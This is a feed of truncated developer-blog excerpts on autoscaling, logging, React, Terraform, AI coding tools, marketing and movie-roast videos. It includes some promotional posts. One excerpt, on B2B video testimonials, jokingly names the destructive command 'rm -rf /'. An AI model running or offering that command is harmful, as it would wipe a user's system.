    KEDA HTTP Add-on: Escalonamento Dinâmico por Volume de Requisições
    Introdução O escalonamento tradicional baseado em CPU ou memória atende bem a diversos cenários, mas pode apresentar limitações em aplicações que sofrem bursts de requisições ou que exibem padrões de tráfego irregulares. Nesses casos, é comum que a aplicação mantenha níveis estáveis de CPU e memória ao mesmo tempo que enfrenta pressão direta no atendimento HTTP, gerando aumento de latência, formação de filas e redução de throughput antes que o autoscaler identifique a necessidade de ajuste. O KEDA HTTP Add-on foi desenvolvido para lidar com essas situações ao permitir que o escalonamento considere o volume de requisições como métrica primária. Essa abordagem oferece uma resposta mais alinhada ao comportamento real da carga, especialmente em serviços sensíveis a variações rápidas de deman…  ( 10 min )
    2025 - All Posts From Product With Attitude
    A List of Canonical Links from the Publication "Product with Attitude" Last updated: November 2025 Author: Karo Zieminski Canonical Link: https://karozieminski.substack.com/p/if-you-build-with-ai-you-need-this Original Publish Date: November 27, 2025 Tags: #vibecoding #rules-for-ai #prompt-systems #beginner-guides #prompt-back #builder-community Author: Karo Zieminski Canonical Link: https://karozieminski.substack.com/p/substack-roadmap-community-chat-notes-reels-survey-reader-behaviour Original Publish Date: November 18, 2025 Tags: #substack #substack-survey #substack-user-behaviour #substack-growth #top-substack-surveys #builder-community Author: Karo Zieminski and Orel Canonical Link: https://karozieminski.substack.com/p/product-thinking-at-the-speed-of-ai-actionable-insights-for-prod…  ( 8 min )
    How to Write an Effective Prompt for Planning a Software Project
    A practical, human-first guide to getting better results from AI tools If you’ve experimented with AI while planning a new software project, you’ve probably noticed a pattern: sometimes the output is sharp, actionable, and genuinely helpful—and other times it feels vague or generic. The difference usually comes down to one thing: the quality and structure of your prompt. The good news is that writing a great prompt is not about being poetic or overly verbose. It is about giving the AI the same level of clarity you'd expect from a teammate. In this post, I’ll share a practical approach you can use to consistently get detailed, high-value results. Building software is messy in the best kind of way. There are tradeoffs, constraints, unknowns, and assumptions scattered everywhere. When your pr…  ( 8 min )
    Day F9: Caffeine, Workout, and Arrogant Relationship Thoughts
    DCS exam almost killed me today. Discrete Computer Structures. The syllabus was MASSIVE. Like actually absurd amounts of content. Slept at 5am studying. Woke up at 8am. Exam at 10am. Three hours of sleep. Walked in half-dead. Got fumbled hard. Out of 50 marks, I'll probably pull 35. Maybe. Bad? Yeah. Do I care? Not really. It's done. Moving on. Had this random thought today while sleep-deprived and over-caffeinated: Being in a relationship is kind of arrogant, right? Like you really think someone can love you unconditionally? That's wild confidence. That's believing you're worth that kind of commitment from another human. I don't have that. The arrogance to think I deserve that or that it's even possible. Maybe that's why I'm bad at relationships. Not because I don't want them, but because…  ( 7 min )
    10 Common .NET Logging Mistakes and How to Avoid Them for Maintainable Apps
    Logging feels simple… until you’re staring at a production incident and your logs are either uselessly noisy or weirdly empty. Here are 10 .NET logging mistakes that quietly hurt you in production - and how to fix them. The mistake _logger.LogInformation("User " + userId + " purchased " + itemCount + " items"); Everything is one big string, so your logging system can’t query individual fields. Why it hurts No structured search (e.g. UserId = 123) Hard to build dashboards on numeric fields Formatting drifts over time Fix Use structured properties: _logger.LogInformation( "User {UserId} purchased {ItemCount} items", userId, itemCount); If you want to filter or graph it later, give it a named property. The mistake Everything is LogInformation or everything is LogError. Why it h…  ( 9 min )
    Agentic AI: The Shift Developers Didn’t Realise They Needed
    Most AI tools wait for a prompt. Agentic AI works differently — it takes a goal, plans the steps, and executes tasks on its own. That small change is starting to reshape developer workflows. What developers are already using agents for: Parsing docs and explaining APIs Running data analysis without manual queries Automating reporting and monitoring Debugging suggestions from logs and errors Repetitive tasks like test generation or KPI checks It’s not about replacing developers. As models get better at reasoning and tool-use (Python, SQL, APIs), agentic workflows will quietly become part of everyday engineering work. The next big jump in productivity won’t be a chatbot We at Codesis Technologies build practical agentic AI systems for modern teams and individuals.  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – The Final Reckoning In 27 Minutes Or Less is CinemaSins’ latest roast of Tom Cruise’s high-octane franchise finale, poking fun at every gravity-defying stunt and plot hitch. They admit the series still rocks, but the last couple of films have wandered off course—so buckle up for some delicious nitpicking. For more sinful takes, you can explore their website, join the conversation on Discord and Reddit, cast your vote in their poll, and even support the small CinemaSins team on Patreon. Don’t forget to follow writers like Jeremy, Chris and Aaron on Twitter for extra behind-the-scenes mischief. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less Cinemasins dishes out a rapid-fire roast of the new Fantastic Four flick—nothing earth-shattering, but just as “sintastic” as any other Marvel outing. They even squeeze it all into 20 minutes or less, with a cheeky nod to their sponsor BetterHelp (grab a therapy discount if you need it). Want more cinematic sinning? Head over to cinemasins.com or follow @CinemaSins on YouTube, TikTok, Instagram and Twitter. They’ve also got a sinister poll, a Patreon for extra content, plus Discord and Reddit communities. Don’t forget to stalk their writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on social media for your daily dose of movie nitpicks. Watch on YouTube  ( 6 min )
    Suppose there is a dataset having variables with missing values of more than 30%, how will you deal with such a dataset?
    If a variable has more than 30% missing values, I treat it carefully because that much missing information can weaken the model. First, I try to understand the cause: is it random, system-driven, or does it follow some pattern? Knowing this helps me decide if the feature is still useful. If the column doesn’t provide strong value, the safest choice is to drop it. For important variables, I look at different imputation methods. Numeric fields might use median or interpolation, while categorical fields can use mode. If the feature is valuable but tricky, I may use advanced methods like KNN imputation or model-based imputation to estimate missing values. Sometimes missing values are meaningful on their own, for example, “not filled because user didn’t use the feature.” In those cases, I keep the column and also create a separate flag like “is_missing” to capture that information. The goal is to keep the dataset balanced, clean, and meaningful without forcing incomplete or low-quality data into the modeling process.  ( 6 min )
    📝How I Built a Fully Automated Telegram Moderation Bot — An Engineering Case Study
    I built a Telegram bot that automatically detects and handles duplicate messages (spam), promotional messages, and blacklisted keywords; logs every action; tracks infractions in Redis; and provides a clean admin surface (planned) for whitelist and keyword management. It runs on Node + TypeScript, uses Telegraf for Telegram, PostgreSQL for persistent data, and Redis for fast infra counters. This article is a detailed, step by step breakdown of the problem, architecture, implementation, testing, monitoring, and deployment. It’s written as a technical case study so you and other engineers can reproduce, audit, or extend the system. Table of contents Why I built this Goals & constraints Tech stack High-level architecture (diagram) Data model (schema.sql) Core modules — explanation + code snip…  ( 12 min )
    AlphaFold et confidentialité des chatbots : réguler l’IA tout en protégeant les utilisateurs
    AlphaFold et confidentialité des chatbots : quand la biologie computationnelle rencontre la vie privée AlphaFold et confidentialité des chatbots (AlphaFold, prédiction de structures protéiques) s'imposent désormais au cœur des débats technologiques. Alors que l'intelligence artificielle gagne en puissance, les innovations comme AlphaFold fascinent et inquiètent. De plus, les chatbots compagnons collectent des données sensibles, parfois sans transparence. Par conséquent, les risques de fuite ou de mauvaise utilisation augmentent. Cependant, l'enjeu n'est pas uniquement technique mais aussi éthique. En effet, combiner modèles biologiques et agents conversationnels soulève des questions de sécurité des données. Cela concerne aussi la propriété intellectuelle et le consentement. Ainsi, cet a…  ( 11 min )
    Series-1 What do you understand by Imbalanced Data?
    Imbalanced data means the classes in your dataset are not represented equally. One category has a lot of samples, while the other has very few. For example, imagine a medical dataset where 95% of patients are healthy and only 5% have a rare disease, that’s clearly imbalanced. The issue is that models trained on such data tend to learn the “easy pattern,” which is predicting the majority class every time. This makes the accuracy look high, but the model is actually useless for detecting the minority class, which is often the most important one. To handle this, I use techniques like oversampling the minority class (SMOTE), undersampling the majority class, using class-weighted algorithms, or choosing models that naturally handle imbalance better. I also focus more on metrics like F1-score, recall, and precision rather than plain accuracy. In my experience, dealing with imbalance is less about forcing the data to look “perfect” and more about making sure the model pays attention to what truly matters. A little extra care here can dramatically improve real-world predictions, especially when the minority class carries the real risk or value.  ( 6 min )
    Production-Ready-Features-Complete-Solution-from-Development-to-Deployment
    GitHub Home A recent enterprise-level system project made me deeply realize that a truly production-ready framework should provide complete solutions for the entire application lifecycle. My recent experience with hyperlane framework showed me the concrete embodiment of ideal production-ready features. That was in a distributed e-commerce system where we needed to handle high-concurrency user requests while ensuring system stability and observability. The system required 7x24 uninterrupted operation, where any single deployment failure could cause huge business losses. In the early stages of the project, we used traditional deployment solutions. After development completion, we needed to manually write complex deployment scripts, including environment configuration, service startup, health…  ( 9 min )
    Hello DEV community, I've been creating a programming language. If you want to know more about it, enter this post and also check out the other posts in the series, which are also about MAWA
    MAWA💻 - The programming language of the future Samuel Leonardo ・ Oct 20 #programming #beginners #webdev #codenewbie  ( 9 min )
    Creating My First S3 Bucket with Terraform.
    Today marks Day 3 of my 30 Days of AWS Terraform Challenge, and it was the day things started feeling real. Instead of just reading about providers, blocks, and installation steps, I finally deployed an actual AWS resource using Terraform: an S3 bucket. It was a simple task, but seeing infrastructure appear from code felt like a solid step forward. Setting up the project inside IntelliJ Since I’m working on Windows 11, my setup process is different from the typical Linux workflow. I use IntelliJ IDEA, which makes everything neater and easier to manage. Here’s how I prepared my workspace: Opened IntelliJ Right-clicked the project explorer → New → Directory Named the folder day 03 Inside it, I created a new file:main.tf IntelliJ automatically formatted the Terraform file and handled indent…  ( 7 min )
    Grading Security Fixes: MiniMax M2 vs. Kimi K2 (Thinking) vs. GLM-4.6
    After testing frontier models on security vulnerabilities, a reader asked: "Why not test open-weight models?" So we ran MiniMax M2, Kimi K2 Thinking, and GLM-4.6 against three vulnerabilities: a payment race condition, JWT algorithm confusion, and an FFmpeg command injection to see how they compare. A Reader Asked Why Not Test Open-Weight Models Testing Methodology We selected three open-weight models from our leaderboard: MiniMax M2 from MiniMax Kimi K2 Thinking from Moonshot AI GLM-4.6 from Z.ai We ran all tests in Kilo Code on the same base Node.js project (TypeScript + Hono) with all required dependencies pre-installed. For each vulnerability, we created a single file containing only the vulnerable code and prompted the model: "Fix this security vulnerability," without descri…  ( 11 min )
    8 Simple Tips For Testing Payment Gateway Integrations
    Your payment integration just went live. Everything worked perfectly in staging. Then, when real users started transacting, they were unsuccessful. Customers can't complete purchases, support tickets flood in, and your business starts losing revenue. This is a situation you don’t want to find yourself in, and you won’t if you test your payment gateway properly. Failed payments cost businesses $118.5 billion annually, according to this 2020 report, and most failures could have been caught with proper testing of your payment processor integration. Unlike bugs that frustrate users, payment failures directly cost you money and trust. This guide shows you how to test payment integrations properly. You'll learn the payment gateway test cases that matter for cards, bank transfers, and mobile mone…  ( 12 min )
    Вэбийн хариу үйлдлийн хэмжүүр
    🖱️ INP гэж юу вэ? Та вэб хуудсан дээр дарж үзээд, юу ч болоогүй мэт санагдсан тохиолдол бий юу? Энэ хоцролт нь хэрэглэгчийн туршлагад шууд нөлөөлдөг бөгөөд Interaction to Next Paint (INP) хэмээх хэмжүүрээр хэмжигддэг. INP нь хэрэглэгчийн харилцан үйлдэл (жишээ нь: товшилт, товч даралт) хийгдсэнээс хойш браузер дэлгэцийг дараагийн удаа шинэчлэх хүртэлх хугацааг хэмждэг. Бага INP → Хуудас илүү хариу үйлдэлтэй, хурдан санагдана. Их INP → Хэрэглэгчид хуудас удаан, хариу өгөхгүй мэт санагдана. Хэрэв INP өндөр байвал хэрэглэгчид бухимдаж, хуудсыг орхих магадлал нэмэгдэнэ. Харин INP-г оновчтой болговол хэрэглэгчид цаг тухайд нь хариу авч, туршлага нь сайжирна. Chrome DevTools Web Performance API Эдгээр хэрэгслүүд нь хэрэглэгчийн харилцан үйлдлийн хоцролтыг хэмжихэд тусална. 🧹 Main thread дээрх ажлыг багасгах ⚡ Event handler -уудыг оновчтой болгох 🎨 Хэрэглэгчийн үйлдэл бүрийг шуурхай визуал шинэчлэлт рүү холбох Таныг интернэт банкны хуудас руу орж, “Гүйлгээ хийх” товчийг дарахад юу ч өөрчлөгдөхгүй мэт санагдаж, 2–3 секунд хүлээх тохиолдол гарч байсан уу? Энэ хугацаанд: Та дахин дарж үздэг Эсвэл буцаад хуудаснаас гардаг Зарим тохиолдолд гүйлгээ давхар хийгддэг Энэ бол INP өндөр байгаагийн үр дагавар юм. Хэрэглэгчийн харилцан үйлдэл (товшилт) хийгдсэн ч дэлгэц дээр визуал хариу (жишээ нь: “Гүйлгээ хийгдэж байна…” гэсэн анимаци) удаан гарч ирдэг . “Гүйлгээ хийх” товч дарагдахад шууд ачааллаж буй анимаци гаргах Арын процесс удаан байлаа ч визуал хариу өгч , хэрэглэгчийг тайвшруулах Event handler-ийг оновчтой болгож, main thread дээрх ажлыг багасгах Дүгнэлт INP-г ойлгож, оновчтой болгох нь вэб туршлагыг хурдан, хариу үйлдэлтэй болгох гол түлхүүр юм. Хэрэглэгчид бухимдахгүй, харин сэтгэл ханамжтайгаар таны вэбийг ашиглах болно.  ( 6 min )
    I tested the top 3 AI coding models on real engineering problems. The results surprised me.
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    Maintenance Release 0.55.0 of the GitHub Action for Checking Spelling
    A quick maintenance release for the GitHub Action for Checking Spelling was made yesterday. The other day the repository got a new issue which requested enabling of use of large Aspell dictionaries. The GitHub action however is just a wrapper for PySpelling so I sent the user in that direction, also because this was something I believe was more in the realm of PySpelling than the GitHub Action. Not long after a new release of PySpelling (2.12.1) was made, so I reopened the issue, since I needed to update the action with the new release to meet the need of the user and the original request and it was easier to keep track of the request this way. Later the user wrote to me: Thanks! I’m amazed at how quickly the guy over at PySpelling made the change and release. Hmmmmm... I decided to step my game up and luckily I had an window of opportunity, so I made the release numbered 0.55.0 which contains an update of the core component PySpelling from version 2.12.1. At this time I am not sure how the Aspell setting for large dictionaries is enabled/configured, I have not been able to find any documentation on this, but at least the action is aligned with the core component - I hope this works out for the user. Change log for: 0.55.0 Via an issue #293 from @shoverbj, an update to the core component PySpelling from version 2.12.0 to version 2.12.1 was made, this allows for use of large dictionaries with Aspell  ( 6 min )
    Stop Writing Plugins Like It’s 2011: Modern Architecture Guide
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    Google recently released Gemini 3, Nano Banana Pro and its agentic IDE Antigravity, and it's exploding in popularity. AI, Builders & Business community are hyping it up like crazy. But when it comes to tools, it's limited. Though one can add MCPs for use cases, it's hectic to connect every applications MCP servers manually So, what if one has an MCP that you configure once, and it connects to 500+ products at once while intelligently figuring out which MCP tools and methods are needed? Enter Rube, a universal MCP & in this short blog, let's see how you can use it to supercharge your AI-assisted development. Rube MCP plugs into Antigravity once and instantly unlocks hundreds of tools without the annoying manual MCP wiring. You can automate code reviews and send off clean summaries straight…  ( 17 min )
    Don't Just Guess, Measure: A Deep Dive into the Web Performance API
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* As developers, we work on powerful machines with fiber-optic internet connections. On "localhost:3000", everything feels blazing fast. Then we deploy. Suddenly, a user on a shaky 4G connection in a rural area tries to load our beautiful, JavaScript-heavy masterpiece. They are greeted not by our stunning hero image, but by the dreaded "Blank White Screen of Death," followed by a spinner that spins for so long it starts contemplating the meaning of life. Performance isn't just about getting a high Lighthouse score to impress your boss.…  ( 11 min )
    Introducing Appearances: A Simpler Way to Dynamically Style Mapbox Map Icons
    Mapbox maps just got a major usability upgrade with the new appearances functionality, making it easier than ever to change icon images based on user interaction—without the verbose, error-prone workarounds of the past. This screen capture shows appearances in action, displaying different icons for four distinct feature states: default icon feature hovered feature selected feature was previously selected Appearances allow you to define how a symbol layer's icons should change in response to changes in feature state (the ability to set state on specific features on a map). The appearances layer property contains one or more appearance objects defining layout properties like icon-image and the conditions on which to apply them. For example, the following symbol layer defaults to using the i…  ( 8 min )
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    Java copySign() Method: Finally, Take Control of Your Number's Sign Alright, let's talk about one of those "hidden gem" methods in Java that doesn't get the spotlight it deserves. We're diving deep into Math.copySign(). Ever been in a situation where you have a number, and you need its magnitude (the value without the sign) but with the sign of another number? If you've ever tried to do this manually with if conditions and multiplication, you know it's clunky. It's one of those things that makes your code look... well, a bit amateurish. That's where Java's copySign() method swoops in to save the day. It’s a simple, elegant, and powerful tool for manipulating the signs of floating-point numbers. In this post, we're not just going to scratch the surface. We're going to break it down, see i…  ( 11 min )
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    Intro In this article, I walk through the process of building Phantom Pulse, highlighting how I used AI tools for planning and development. I share insights from exploring the LLM landscape, as well as the mistakes I made along the way. At the end of the article, I provide feedback and links to each tool I used, along with a brief explanation of my classification. Phantom Pulse (with AI?) After being unexpectedly fired for the first time, I went to a remote location in Portugal's interior to relax for a bit and decide what I was going to do next. I was at a crossroads I had never been before—unemployed, with no immediate projects on my plate, and with no general sense of what lay ahead. Instead of dwelling on setbacks, I decided to make the most of my unexpected free time by experiment…  ( 14 min )
    Java String Ceiling: What It Is & How to Implement It | CoderCrafter
    Java String Ceil(): The Method That Doesn't Exist (And How to Build Your Own ) You instinctively type "someText".ceil() and... nothing. Your IDE stares back at you with a red squiggly line of disapproval. Wait, what? There's no ceil() method for strings in Java? You're not going crazy. It's true. The Math.ceil() method is a legend for rounding up numbers, but its string counterpart is a ghost—it simply doesn't exist in the standard library. So, what do you do when you genuinely need that kind of logic for text? That's exactly what we're diving into today. We're not just going to tell you it's missing; we're going to build it from scratch, explore why you'd need it, and drop some serious knowledge on best practices. Feeling stuck on core Java concepts? To learn professional software devel…  ( 11 min )
    Amazon Quick Suite : Quick Flow and Quick Research
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    🚀 From Scattered Scripts to Product Hunt Launch: My Journey Building the Professional Automation Toolkit
    🚀 From Scattered Scripts to Product Hunt Launch: My Journey Building the Professional Automation Toolkit 🌱 The Beginning Six months ago, I was staring at a folder full of chaos: 30+ automation scripts scattered across directories. They were useful in isolation, but together they felt like nonsense—no consistent CLI patterns, no error handling, no documentation, and no way to chain them into something bigger. I knew there was potential, but I didn’t know how to turn it into a product. Instead of abandoning the work, I decided to treat it like a professional system. Every script became part of a larger architecture: 6 production‑ready tools: Cookie Analysis Suite, Video Enhancement Suite, PathPulse, Windows Feature Manager, Web Automation Framework, ADB Automation Framew…  ( 7 min )
    Nested Checkox - React Interview
    // App.js (React, CodeSandbox-ready) // Nested checkboxes with parent/child sync and indeterminate states. import React from "react"; // ----- Sample tree data ----- const tree = { id: "a", label: "A", children: [ { id: "a1", label: "A1" }, { id: "a2", label: "A2", children: [ { id: "a21", label: "A2.1" }, { id: "a22", label: "A2.2" }, ], }, ], }; // ----- Utilities ----- function visit(node, fn) { fn(node); node.children?.forEach((c) => visit(c, fn)); } function initState(root) { const s = {}; visit(root, (n) => { s[n.id] = { checked: false, indeterminate: false }; }); return s; } function setSubtree(node, checked, state) { state[node.id] = { checked, indeterminate: false }; node.children?.forEach((child)…  ( 7 min )
    My Journey From No-Code to Real Product Design
    My Journey From No-Code to Real Product Design When I first started building things, I wasn’t writing code. I began with no-code tools — simple drag-and-drop platforms that helped me bring ideas to life without touching a text editor. And looking back, that phase was more important than I realized. This is the story of how no-code gave me the confidence to create, and how that journey slowly pushed me toward UI design, and eventually into real development. The No-Code Curiosity At the beginning, all I wanted was to build something that worked. Webflow, Bubble, Glide, Notion databases — these tools felt magical. I could build: Landing pages Simple dashboards Forms Mini web apps Automations …all without typing a single line of code. And here’s the truth: no-code didn’t limit me — it unlocked me. How pages connect How components repeat How data flows What makes a UI feel “clean” vs “cluttered” How users navigate Before writing code, I learned how to design with intention. Here are the biggest takeaways: 1️⃣ No-code is not “lesser” — it’s training wheels for product thinking 2️⃣ Design becomes easier when you’ve built things yourself 3️⃣ Moving to code becomes natural once you know why you’re building 4️⃣ Your first goal shouldn’t be to become a “developer” It should be: solve a problem beautifully.  ( 7 min )
    Vue tricks: smart layouts for VueJS
    Mastering layouts in Vue.js is a milestone that separates beginners from intermediate developers. When you first start, you likely wrap every page in a and component. It works, but it’s repetitive and destroys component state every time you navigate. This guide explores "Smart Layouts", a set of patterns that make your Vue application more maintainable, performant, and capable of advanced behaviors like persistent state (think Spotify’s audio player that doesn't stop when you change pages). Most developers start here. As expert Vue.js developers know, you create a DefaultLayout.vue and manually wrap every single page content with it Home Page The Problem: Home to About, t…  ( 8 min )
    useState in React Hook
    updating the screen: import { useState } from 'react'; your component to “remember” some information and display it. function MyButton() { const [count, setCount] = useState(0); initial state of count is 0 if you change the state use setCount function MyButton() { const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); } return ( Clicked {count} times ); } when you click the button the current state is updated using the setCount is increased. Hook: export default function MyApp() { const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); } return ( Counters that update together ); } the button is clicked upadted the state count together.use the information pass down this is called props. function MyButton({ count, onClick }) { return ( Clicked {count} times ); } count and onclick is a props of parents component it is pass the button. The new count value is passed as a prop to each button, so they all show the new value. This is called “lifting state up”  ( 6 min )
    Explore Private Plane Charter Benefits With First Book Never Miss
    Traveling by air can be stressful. Long check-ins, security lines, and delays often make trips exhausting. For those who value time, comfort, and convenience, private plane charter is an ideal solution. Anmar Aviation, a trusted provider in Australia, offers a range of private aviation services that cater to business, government, and personal travel needs. From corporate charter flights to luxury private jets, there are many benefits to choosing private plane travel. One of the main advantages of private plane charter is flexibility. Unlike commercial flights, you set your schedule. This is particularly useful for FIFO charter operations, where workers need to travel quickly to remote mining or construction sites. Instead of relying on commercial airline schedules, flights can depart when …  ( 8 min )
    Ringer Movies: The Robert Redford Hall of Fame
    The Robert Redford Hall of Fame finds Sean Fennessey and Amanda Dobbins joined by Tracy Letts as they celebrate Redford’s illustrious career, share personal connections to his iconic performances, and collaboratively build a bespoke Hall of Fame for the legendary actor. From his breakthrough roles to his directorial ventures, no stone is left unturned in this lively deep-dive. Produced by Jack Sanders with research by Brantley Palmer, this engaging episode blends insider anecdotes, spirited debate, and genuine fan appreciation, making it a must-listen for anyone who’s ever been captivated by Redford’s screen magic. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    Hacking B2B Trust: The Engineer's Playbook for High-Impact Video Testimonials
    As engineers, we live in a world of logic, APIs, and elegant code. We build products that solve complex problems. But how do you solve the problem of trust at scale? You can't just write a function generateTrust(). Or can you? This is where video testimonials come in. Think of them as your 'Trust API'—a powerful, authentic way to show potential customers that your product actually delivers. Forget fluffy marketing speak. This is about engineering social proof. Here's the playbook to get it done, from crafting the right questions to a DIY production stack that won't make you want to rm -rf /. In B2B tech, the sales cycle is long and the stakes are high. Your buyers are technical, skeptical, and do their research. A well-executed video testimonial does three things a datasheet can't: Builds…  ( 9 min )
    [Boost]
    How I Built an F1 Top-Down Racer in 48 Hours Anthony Tambrin ・ Nov 23 #devlog #webdev #gamedev  ( 5 min )
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    As your content volume grows, you'll quickly realize that Grammarly alone isn't enough to maintain content quality at scale, regardless of whether you're a solo technical writer or part of a team. Creating high quality technical content requires that you maintain several quality standards. You need to check that the content actually solves the problem, uses inclusive language, avoids passive voice, and doesn't contain vague advice, among other things. Using Grammarly with checklists is a manual process that becomes time-consuming and error-prone as you scale output. You might decide to hire more technical writers to meet the content demands, but now you'll have to deal with a new problem. Multiple writers introduce inconsistent styles and more opportunities for human error. That's why comp…  ( 9 min )
    Zero-Click SEO in 2026: Winning When Nobody Clicks Your Links
    Google answered the user's question right there in the search results. Again. Your perfectly optimized article sits at position #1, but the click-through rate? A depressing 8%. Because why would anyone click when Google's AI Overview just served up your best insights in a tidy little box at the top of the page? Welcome to zero-click SEO, where winning means losing traffic. Or does it? Look, the data is pretty clear at this point. Roughly 57% of mobile searches and 53% of desktop searches end without a click to any website. That number has been climbing steadily since 2019, and with Google's AI Overviews expanding throughout 2024 and 2025, we're not going back to the good old days when people actually visited websites. (Remember when we complained about position #2? Simpler times.) But here…  ( 13 min )
    The Role of a Brand Marketing Agency in Building Customer Trust
    In today’s fast-moving digital world, customers don’t just look for good products — they look for brands they can trust. Trust has become one of the strongest factors that influence buying decisions, loyalty, and long-term business growth. This is exactly where a brand marketing agency plays an important role. At First Click Media Group, we help businesses create strong, meaningful connections with their audience through strategic branding and performance-driven marketing. Let’s explore how a brand marketing agency helps build customer trust and why it matters in the modern marketplace. Before a customer buys from you, they ask one key question: “Can I trust this brand?” In a world full of choices, ads, and online noise, trust becomes a competitive advantage. When trust is strong, customer…  ( 8 min )
    Unlocking AI's Inner Geometry: Scale-Agnostic Structures in Neural Networks
    Unlocking AI's Inner Geometry: Scale-Agnostic Structures in Neural Networks Ever wonder why a neural network trained on cat pictures can suddenly recognize dogs? Or why some models generalize so well to unseen data while others fail spectacularly? The secret may lie in the hidden geometric structures spontaneously forming within the network itself. The core idea is that, during training, neural networks don't just learn weights and biases; they sculpt a complex mathematical landscape – a kind of high-dimensional manifold – that represents the relationships between data points. This manifold exhibits a specific mathematical property: a multi-scale structure. Imagine a fractal: zoom in, zoom out, and you still see the same repeating pattern. Neural networks appear to exhibit similar behav…  ( 7 min )
    portfolio
    My New Portfolio – Built in One Weekend with Google AI Studio ✨ Live Demo: https://portfolio-react-2025-64ir.vercel.app/ A clean, fast, fully responsive developer portfolio built with React + Vite + Tailwind CSS. Features I’m really proud of: Smooth scroll & animated section reveals Dark/light mode toggle (saved in localStorage) Animated skill bars & typing effect in the hero Projects grid with live preview hover cards Working contact form (Formspree) Fully mobile-friendly I’ve been putting off rebuilding my portfolio for months… until I tried Google AI Studio this weekend. In less than 48 hours (seriously), I went from zero to a complete, deployed, professional-looking portfolio. I just described what I wanted in normal sentences, and Gemini wrote perfect, production-ready React code — component by component. Every time I said “make it smoother” or “add this small animation”, it delivered instantly. I’m not exaggerating when I say this is the most impressive tool I’ve ever used as a developer. It didn’t just save time — it made the entire process actually fun. Thank you DEV.to and Google for this track. I finally have a portfolio I’m excited to share! Live link again: https://portfolio-react-2025-64ir.vercel.app/ GoogleAIStudio #DEVCommunity #ReactJS #WebDev #Portfolio  ( 6 min )
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    Efficiently Converting Word Documents to HTML in Java
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    Nathbrok — Encrypted Messaging, File Storage & Business Communications Platform
    I've been building Nathbrok, a secure communication platform designed for individuals and businesses that need more control, more privacy, and more autonomy than mainstream messaging apps provide. Most messaging platforms today are either consumer-focused, ad-driven, or limited in how much control they give over files, encryption, and data management. Nathbrok takes a different approach: What it does End-to-end encrypted messaging Encrypted file storage and sharing Multi-device session support Real-time communication using a custom encryption layer Admin roles for business groups Optional advanced encryption modes for high-sensitivity data Why I built it I wanted a platform where: Users control their data, not third-party platforms Encryption isn’t a “feature” – it’s the core File sharing is first-class and secure Small teams and businesses can use a private environment without complex setup Most “secure” platforms still rely on central storage assumptions or don’t let users manage their data flow. Nathbrok is designed to give full autonomy while keeping things simple to use. What’s under the hood Custom encryption layer for messages & files Stateless session handling Realtime tunneling system for multi-device sync Optimized database design for encrypted objects Mobile (Android) and web versions What I’m looking for Feedback on the encryption model Thoughts on UX flow Suggestions on scaling the real-time system Security critiques (welcome) General feedback from builders Try it Website: nathbrok.online nathbrok.sbgc@gmail.com  ( 6 min )
    From Callback Hell to Async Heaven: A Crystal-Clear Guide to JavaScript Promises
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    Terraform state file and Remote backend
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    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
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    LangGraph for Beginners: A Complete Guide
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    Convert Numbers to Text or Numeric Text to Numbers in Excel Using Java
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    [JCAIGC]Get image entrance/exit animation list
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    How to install Gambas in Raspberry Pi?
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    [JCAIGC]Get draft file list
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    [JCAIGC]Add multiple types of material content
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    [JCAIGC]Create a new CapCut draft
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    Unlike typical reporting engines, NopReport can directly use Excel and Word as templates, without necessarily relying on a dedicated visual designer. For an introduction to NopReport, see An open-source, China-style reporting engine that uses Excel as the designer: NopReport and How to implement a visual Word template similar to poi-tl in 800 lines of code However, some readers still don’t perceive what’s unique about it and raise questions like: Hasn't this approach existed for a long time? Everyone knows Word is basically XML and can be filled with a template engine. To grasp the innovative aspects of NopReport’s design, you need to step out of the weeds of concrete features and think in terms of more abstract mathematical structures. NopReport’s core design idea is based on the followin…  ( 9 min )
    What You Will Learn in SAP HCM Classes as a Beginner in HR
    Starting a career in Human Resources can feel overwhelming for beginners. You may understand that HR involves hiring, payroll, employee engagement, and compliance—but how these actually work inside real companies is not always clear from textbooks alone. This is where sap hcm classes in pune often become an important learning step for students and freshers who want to move from theoretical HR knowledge to practical, system-based HR operations. Organizational structures Attendance and leave Payroll processing Recruitment and onboarding Training and development All these functions are centrally managed through one system instead of scattered tools. Compliance with labor laws Speed of HR processes Transparency in reporting For beginners, this makes SAP HCM a practical gateway into modern HR e…  ( 10 min )
    Found a 75%-off lifetime Windows fix when half our machines started expiring at 2 AM
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    GRP Make Van Build For Beginners
    Fiberglass perfectly suits motorhome construction. It is a durable composite of fiberglass soaked with polyester or epoxy resin.Owing to its unique structure, fiberglass integrates lightness, strength, durability, and resistance to negative environmental influences.Key properties of fiberglass include:Exhibits high strength at low thickness.Thus, a 2 mm fiberglass sheet matches or sometimes exceeds the strength of 6 mm plywood.Resistance to moisture and temperature changes.The material resists moisture, does not rot, swell or crack when heated.Skill to create intricate shapes and curved parts.Compared to plywood and MDF, fiberglass freely takes any form and bend, enabling ergonomic shower trays, smooth furniture edges, and unique elements.Low weight. Thanks to this, the overall weight of t…  ( 9 min )
    Developers: A Profession or a Toolbox? Les dérives du recrutement “homme-orchestre”
    Dans de nombreuses entreprises un phénomène préoccupant s’est installé : la confusion profonde entre le métier de développeur et une boîte à outils humaine capable de tout faire. Les offres d’emploi témoignent de cette dérive, avec des attentes irréalistes, incohérentes et contre-productives. 1. Des offres d’emploi sorties de l’imaginaire et non du besoin réel Il n’est pas rare de voir une offre chercher un seul individu capable de : développer des applications web, créer des applications mobiles, administrer un réseau, gérer le secrétariat, produire du design UI/UX, faire du DevOps, maîtriser PHP, Java, Python, Go, JavaScript… Le tout dans un seul profil. Cette vision transforme la recherche d’un expert en une quête d’un mythe technologique, un “super-héros numérique” qui n’existe tout…  ( 7 min )
    Top React Native Wheel Pickers for Date Color Selection 2026
